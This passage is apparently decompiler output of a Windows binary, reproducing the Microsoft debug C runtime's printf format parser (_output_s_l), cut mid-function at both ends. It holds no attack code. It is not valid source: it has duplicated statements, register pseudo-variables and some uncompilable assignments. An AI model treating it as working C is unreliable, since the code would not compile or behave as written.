														 *(_t557 - 0x25c) = ( *(_t506 + _t536 + 0x407e08) & 0x000000ff) >> 4;
														if( *(_t557 - 0x25c) != 8) {
															L16:
															 *(_t557 - 0x318) =  *(_t557 - 0x25c);
															__eflags =  *(_t557 - 0x318) - 7;
															if( *(_t557 - 0x318) > 7) {
																continue;
															}
															L17:
															switch( *((intOrPtr*)( *(_t557 - 0x318) * 4 +  &M00435350))) {
																case 0:
																	L18:
																	 *(_t557 - 0xc) = 0;
																	_t509 = E00431000( *(_t557 - 0x251) & 0x000000ff, E0041AAD0(_t557 - 0x40));
																	_t562 = _t559 + 8;
																	__eflags = _t509;
																	if(_t509 == 0) {
																		L24:
																		E00427FE0( *(_t557 - 0x251) & 0x000000ff,  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																		_t559 = _t562 + 0xc;
																		goto L218;
																	} else {
																		E00427FE0( *((intOrPtr*)(_t557 + 8)),  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																		_t562 = _t562 + 0xc;
																		_t541 =  *( *(_t557 + 0xc));
																		 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
																		_t547 =  *(_t557 + 0xc) + 1;
																		__eflags = _t547;
																		 *(_t557 + 0xc) = _t547;
																		asm("sbb eax, eax");
																		 *(_t557 - 0x27c) =  ~( ~( *(_t557 - 0x251)));
																		if(_t547 == 0) {
																			_push(L"(ch != _T(\'\\0\'))");
																			_push(0);
																			_push(0x486);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			_t521 = L0041E000();
																			_t562 = _t562 + 0x14;
																			__eflags = _t521 - 1;
																			if(_t521 == 1) {
																				asm("int3");
																			}
																		}
																		L22:
																		__eflags =  *(_t557 - 0x27c);
																		if( *(_t557 - 0x27c) != 0) {
																			goto L24;
																		} else {
																			 *((intOrPtr*)(L00422AF0(_t541))) = 0x16;
																			E00422880(_t528, _t541, _t555, _t556, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																			 *(_t557 - 0x2f4) = 0xffffffff;
																			E0041AAA0(_t557 - 0x40);
																			_t499 =  *(_t557 - 0x2f4);
																			goto L229;
																		}
																	}
																case 1:
																	L25:
																	 *(__ebp - 0x2c) = 0;
																	__edx =  *(__ebp - 0x2c);
																	 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																	__eax =  *(__ebp - 0x28);
																	 *(__ebp - 0x18) =  *(__ebp - 0x28);
																	__ecx =  *(__ebp - 0x18);
																	 *(__ebp - 0x1c) = __ecx;
																	 *(__ebp - 0x10) = 0;
																	 *(__ebp - 0x30) = 0xffffffff;
																	 *(__ebp - 0xc) = 0;
																	goto L218;
																case 2:
																	L26:
																	__edx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																	 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																	__eflags =  *(__ebp - 0x31c) - 0x10;
																	if( *(__ebp - 0x31c) > 0x10) {
																		goto L33;
																	}
																	L27:
																	__ecx =  *(__ebp - 0x31c);
																	_t72 = __ecx + 0x435388; // 0x498d04
																	__edx =  *_t72 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M00435370))) {
																		case 0:
																			goto L30;
																		case 1:
																			goto L31;
																		case 2:
																			goto L29;
																		case 3:
																			goto L28;
																		case 4:
																			goto L32;
																		case 5:
																			goto L33;
																	}
																case 3:
																	L34:
																	__edx =  *((char*)(__ebp - 0x251));
																	__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																	if( *((char*)(__ebp - 0x251)) != 0x2a) {
																		__eax =  *(__ebp - 0x18);
																		__eax =  *(__ebp - 0x18) * 0xa;
																		__eflags = __eax;
																		__ecx =  *((char*)(__ebp - 0x251));
																		_t96 = __ecx - 0x30; // -48
																		__edx = __eax + _t96;
																		 *(__ebp - 0x18) = __eax + _t96;
																	} else {
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x18) = E00428150(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x18);
																		if( *(__ebp - 0x18) < 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000004;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																			 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																			 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		}
																	}
																	goto L218;
																case 4:
																	L40:
																	 *(__ebp - 0x30) = 0;
																	goto L218;
																case 5:
																	L41:
																	__eax =  *((char*)(__ebp - 0x251));
																	__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																	if( *((char*)(__ebp - 0x251)) != 0x2a) {
																		__edx =  *(__ebp - 0x30);
																		__edx =  *(__ebp - 0x30) * 0xa;
																		__eflags = __edx;
																		_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																		__ecx = __edx + _t107;
																		 *(__ebp - 0x30) = __ecx;
																	} else {
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x30) = E00428150(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) < 0) {
																			 *(__ebp - 0x30) = 0xffffffff;
																		}
																	}
																	goto L218;
																case 6:
																	L47:
																	__edx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																	 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																	__eflags =  *(__ebp - 0x320) - 0x2e;
																	if( *(__ebp - 0x320) > 0x2e) {
																		L70:
																		goto L218;
																	}
																	L48:
																	__ecx =  *(__ebp - 0x320);
																	_t115 = __ecx + 0x4353b0; // 0x4bbe9003
																	__edx =  *_t115 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M0043539C))) {
																		case 0:
																			L53:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x36;
																			if( *( *(__ebp + 0xc)) != 0x36) {
																				L56:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x33;
																				if( *( *(__ebp + 0xc)) != 0x33) {
																					L59:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc));
																					__eflags =  *( *(__ebp + 0xc)) - 0x64;
																					if( *( *(__ebp + 0xc)) == 0x64) {
																						L65:
																						L67:
																						goto L70;
																					}
																					L60:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx;
																					__eflags =  *__ecx - 0x69;
																					if( *__ecx == 0x69) {
																						goto L65;
																					}
																					L61:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc));
																					__eflags = __ecx - 0x6f;
																					if(__ecx == 0x6f) {
																						goto L65;
																					}
																					L62:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc));
																					__eflags =  *( *(__ebp + 0xc)) - 0x75;
																					if( *( *(__ebp + 0xc)) == 0x75) {
																						goto L65;
																					}
																					L63:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx;
																					__eflags =  *__ecx - 0x78;
																					if( *__ecx == 0x78) {
																						goto L65;
																					}
																					L64:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc));
																					__eflags = __ecx - 0x58;
																					if(__ecx != 0x58) {
																						 *(__ebp - 0x25c) = 0;
																						goto L18;
																					}
																					goto L65;
																				}
																				L57:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *((char*)(__ecx + 1));
																				__eflags =  *((char*)(__ecx + 1)) - 0x32;
																				if( *((char*)(__ecx + 1)) != 0x32) {
																					goto L59;
																				} else {
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																					__ecx =  *(__ebp - 0x10);
																					__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																					 *(__ebp - 0x10) = __ecx;
																					goto L67;
																				}
																			}
																			L54:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x34;
																			if( *((char*)(__ecx + 1)) != 0x34) {
																				goto L56;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00008000;
																				 *(__ebp - 0x10) = __ecx;
																				goto L67;
																			}
																		case 1:
																			L68:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			goto L70;
																		case 2:
																			L49:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6c;
																			if(__ecx != 0x6c) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000010;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			}
																			goto L70;
																		case 3:
																			L69:
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																			goto L70;
																		case 4:
																			goto L70;
																	}
																case 7:
																	L71:
																	__ecx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x324) = __ecx;
																	 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																	 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																	__eflags =  *(__ebp - 0x324) - 0x37;
																	if( *(__ebp - 0x324) > 0x37) {
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	}
																	L72:
																	_t156 =  *(__ebp - 0x324) + 0x43541c; // 0xcccccc0d
																	__ecx =  *_t156 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M004353E0))) {
																		case 0:
																			L123:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			__eflags = __ecx;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L124;
																		case 1:
																			L73:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__eax =  *(__ebp - 0x10);
																				__eax =  *(__ebp - 0x10) | 0x00000800;
																				__eflags = __eax;
																				 *(__ebp - 0x10) = __eax;
																			}
																			goto L75;
																		case 2:
																			L88:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000800;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			}
																			goto L90;
																		case 3:
																			L146:
																			 *(__ebp - 0x260) = 7;
																			goto L148;
																		case 4:
																			L81:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x288) = E00428150(__ebp + 0x14);
																			__eflags =  *(__ebp - 0x288);
																			if( *(__ebp - 0x288) == 0) {
																				L83:
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DAA0( *(__ebp - 4));
																				L87:
																				goto L190;
																			}
																			L82:
																			__ecx =  *(__ebp - 0x288);
																			__eflags =  *(__ecx + 4);
																			if( *(__ecx + 4) != 0) {
																				L84:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				__eflags =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L87;
																			}
																			goto L83;
																		case 5:
																			L124:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) >= 0) {
																				L126:
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) != 0) {
																					L129:
																					__eflags =  *(__ebp - 0x30) - 0x200;
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L131:
																					__eflags =  *(__ebp - 0x30) - 0xa3;
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B540(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						__eflags =  *(__ebp - 0x20);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					__ecx =  *(__eax - 8);
																					__edx =  *(__eax - 4);
																					 *(__ebp - 0x2a8) =  *(__eax - 8);
																					 *(__ebp - 0x2a4) =  *(__eax - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AAD0(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a8;
																					_push(__ebp - 0x2a8);
																					__eax =  *0x440374; // 0x2c9cf96e
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																						__eflags =  *(__ebp - 0x30);
																						if( *(__ebp - 0x30) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AAD0(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x440380; // 0xac9cf9bd
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						__eflags =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AAD0(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0xac9cf9c2
																							E00424340(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					__eflags =  *( *(__ebp - 4)) - 0x2d;
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						__edx =  *(__ebp - 4);
																						__edx =  *(__ebp - 4) + 1;
																						__eflags = __edx;
																						 *(__ebp - 4) = __edx;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DAA0( *(__ebp - 4));
																					do {
																						L190:
																						__eflags =  *(__ebp - 0x28);
																						if( *(__ebp - 0x28) != 0) {
																							goto L216;
																						}
																						goto L191;
																					} while ( *(__ebp - 0x324) > 0x37);
																					goto L72;
																				}
																				L127:
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags = __ecx - 0x67;
																				if(__ecx != 0x67) {
																					goto L129;
																				}
																				L128:
																				 *(__ebp - 0x30) = 1;
																				goto L131;
																			}
																			L125:
																			 *(__ebp - 0x30) = 6;
																			goto L131;
																		case 6:
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			__eflags =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E00428150(__ebp + 0x14);
																				 *(__ebp - 0x284) = __ax;
																				__cl =  *(__ebp - 0x284);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x280) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E00428190(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x280) = E00434010(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				__eflags =  *(__ebp - 0x280);
																				if( *(__ebp - 0x280) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		case 7:
																			L144:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L153;
																		case 8:
																			L109:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x298) = E00428150(__ebp + 0x14);
																			__eax = E00433CF0();
																			__eflags = __eax;
																			if(__eax != 0) {
																				L119:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x298);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x298);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				while(1) {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			}
																			L110:
																			__edx = 0;
																			__eflags = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x32c) = 0;
																			} else {
																				 *(__ebp - 0x32c) = 1;
																			}
																			__eax =  *(__ebp - 0x32c);
																			 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																			__eflags =  *(__ebp - 0x29c);
																			if( *(__ebp - 0x29c) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E000();
																				__esp = __esp + 0x14;
																				__eflags = __eax - 1;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			__eflags =  *(__ebp - 0x29c);
																			if( *(__ebp - 0x29c) != 0) {
																				L118:
																				while(1) {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			} else {
																				L117:
																				 *((intOrPtr*)(L00422AF0(__ecx))) = 0x16;
																				__eax = E00422880(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2f8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AAA0(__ecx);
																				__eax =  *(__ebp - 0x2f8);
																				goto L229;
																			}
																		case 9:
																			L151:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000200;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			L153:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428150(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428150(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428150(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2b4) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428150(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428170(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00428170(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L170;
																			}
																		case 0xa:
																			goto L0;
																		case 0xb:
																			L90:
																			__eflags =  *(__ebp - 0x30) - 0xffffffff;
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x328) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x328) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x328);
																			 *(__ebp - 0x290) =  *(__ebp - 0x328);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428150(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			__eflags =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L101:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404448
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x28c) =  *(__ebp - 4);
																				while(1) {
																					L104:
																					__ecx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					__eflags = __ecx;
																					if(__ecx == 0) {
																						break;
																					}
																					L105:
																					__eax =  *(__ebp - 0x28c);
																					__ecx =  *( *(__ebp - 0x28c));
																					__eflags = __ecx;
																					if(__ecx == 0) {
																						break;
																					}
																					L106:
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				}
																				L107:
																				__eax =  *(__ebp - 0x28c);
																				__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				__eflags = __eax;
																				 *(__ebp - 0x24) = __eax;
																				goto L108;
																			} else {
																				L94:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404438
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x294) =  *(__ebp - 4);
																				while(1) {
																					L97:
																					__edx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					__eflags =  *(__ebp - 0x290);
																					if( *(__ebp - 0x290) == 0) {
																						break;
																					}
																					L98:
																					__ecx =  *(__ebp - 0x294);
																					__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L99:
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				}
																				L100:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L108:
																				while(1) {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			}
																		case 0xc:
																			L145:
																			 *(__ebp - 8) = 0xa;
																			while(1) {
																				L153:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																				__eflags =  *(__ebp - 0x10) & 0x00008000;
																				if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																					__eflags =  *(__ebp - 0x10) & 0x00001000;
																					if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																						__eflags =  *(__ebp - 0x10) & 0x00000020;
																						if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								__eax = E00428150(__ebp + 0x14);
																								__edx = 0;
																								__eflags = 0;
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = 0;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428150(__ebp + 0x14);
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = __edx;
																							}
																						} else {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
